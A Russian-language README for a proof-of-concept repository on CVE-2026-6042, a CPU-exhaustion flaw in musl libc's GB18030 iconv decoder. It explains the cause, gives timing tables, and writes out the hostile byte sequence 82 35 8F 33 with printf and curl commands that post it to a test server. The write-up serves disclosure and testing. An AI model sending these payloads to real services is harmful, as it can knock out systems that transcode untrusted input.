
Доказательство концепции и сквозной тест Algorithmic Complexity DoS в musl libc 0.8.0-1.2.6, присвоен CVE-2026-6042
iconv из musl libcЦиклы пропуска пробелов в 4-байтовом декодере GB18030 в iconv из musl позволяют небольшой специально сформированный входной данным потреблять непропорционально много времени CPU. Вредоносная нагрузка размером 40 КБ может занять одно ядро CPU более чем на 40 минут.
Вопреки тому, что говорится в консультациях, вектор атаки этого эксплойта, очевидно, сетевой, а не локальный. Это связано с тем, что VulDB на самом деле не понимает уязвимости, которые они назначают.
Вектор CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H — 7.5 (Высокий)
| Поле | Детали |
|---|
| Затронутое ПО | musl libc (реализация iconv) |
| Затронутые кодировки | GB18030 (4-байтовые последовательности) |
| Тип | Алгоритмическая сложность / Отказ в обслуживании |
| Подтверждённые версии | musl 1.2.5 (Alpine 3.21), musl 1.2.6 (собран из исходников) |
| Вероятно затронуты | Все версии musl с момента добавления поддержки GB18030 и UHC/CP949 |
| Поверхность атаки | Любой сервис на основе musl, который вызывает iconv() для недоверенного ввода с этими кодировками |
4-байтовый декодер GB18030 в musl (src/locale/iconv.c, примерно строки 434-442) преобразует 4-байтовую входную последовательность в линейный индекс, а затем проходит цикл пропуска пробелов, чтобы сопоставить этот индекс с кодовой точкой Unicode. Для каждого декодированного символа внутренний цикл перебирает всю таблицу gb18030[126][190] (23 940 записей), чтобы подсчитать, сколько 2-байтовых сопоставленных кодовых точек попадает в скользящий диапазон.
Байтовая последовательность 82 35 8F 33 даёт линейный индекс 19 171, который находится чуть ниже плотного диапазона CJK Unified Ideographs (U+4E00-U+9FBD, ~20 902 записи). Затем цикл пропуска пробелов должен пройти весь плотный блок по одной записи за раз, выполняя ~20 905 внешних итераций, каждая из которых сканирует все 23 940 записей таблицы. Это примерно 500 миллионов сравнений на каждый входной символ.
Поскольку стоимость линейно масштабируется с количеством вредоносных символов во входных данных, и каждый символ независимо запускает полный внутренний цикл, общая работа составляет O(n * k^2), где n — количество входных символов, а k — размер таблицы поиска.
Любая система на основе musl (Alpine Linux, Void Linux, postmarketOS, встроенные/контейнерные образы и т. д.), работающая с сервисом, который транскодирует GB18030 или EUC-KR из пользовательского ввода через iconv(), уязвима для отказа в обслуживании.
Прогнозируемое время на одном ядре (измерено на Alpine 3.21 / musl 1.2.5):
| Входные данные | Время |
|---|---|
| 1 вредоносный символ (4 байта) | ~0,26 с |
| 100 символов (400 байт) | ~26 с |
| 1 000 символов (4 КБ) | ~4,3 мин |
| 10 000 символов (40 КБ) | ~43 мин |
Для сравнения, 100 безвредных символов GB18030 декодируются за микросекунды.
| Файл | Описание |
|---|---|
poc_gb18030_dos.c | Автономный PoC: замеряет время декодирования безвредных и вредоносных GB18030 через iconv() |
server.c | Минимальный HTTP-сервер, который транскодирует тела POST-запросов через iconv(), имитируя реальную поверхность атаки |
Dockerfile | Образ контейнера Alpine Linux, который собирает и запускает уязвимый сервер |
test.sh | Скрипт сквозного тестирования: отправляет безвредные и вредоносные нагрузки на сервер и сравнивает время ответа |
iconv)Соберите и запустите на любой системе на основе musl:
# На Alpine Linux
apk add gcc musl-dev
gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c
./poc_gb18030_dos
Или через Docker:
docker run --rm -v "$(pwd)":/work -w /work alpine:latest \
sh -c "apk add gcc musl-dev && gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c && ./poc_gb18030_dos"
Ожидаемый вывод: безвредные символы декодируются за микросекунды; один вредоносный символ (82 35 8F 33) занимает ~0,26 секунды.
Соберите и запустите уязвимый сервер:
docker build -t cve-2026-6042 .
docker run --rm -p 8080:8080 cve-2026-6042
В другом терминале запустите тестовый набор:
./test.sh
Или отправьте нагрузку вручную:
# Безвредная: 100 символов, должна вернуться мгновенно
printf '\x81\x30\x81\x30%.0s' $(seq 1 100) > /tmp/benign.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
--data-binary @/tmp/benign.bin http://localhost:8080/
# Вредоносная: всего 5 символов, должно занять >1 секунды
printf '\x82\x35\x8F\x33%.0s' $(seq 1 5) > /tmp/adversarial.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
--data-binary @/tmp/adversarial.bin http://localhost:8080/
Заголовок ответа X-Transcode-Time сообщает время, затраченное внутри iconv().
Скриншот ниже показывает линейное масштабирование вредоносного ввода против Docker-сервера: 20 символов (80 байт) занимают ~5,2 с, 80 символов (320 байт) — ~20,8 с, а 160 символов (640 байт) — ~41,5 с.

| Последовательность | Линейный индекс | Поведение |
|---|---|---|
81 30 81 30 (безвредная) | 128 | Низкая кодовая точка; цикл пропуска пробелов завершается быстро |
82 35 8F 33 (вредоносная) | 19 171 | Попадает чуть ниже плотного блока CJK; вызывает ~500 млн сравнений |
82 35 90 30 (вредоносная) | ~19 200 | Тот же регион, аналогичная стоимость |
Этот репозиторий опубликован в целях исследования безопасности и ответственного раскрытия информации. Код предоставлен исключительно для воспроизведения и проверки CVE-2026-6042. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.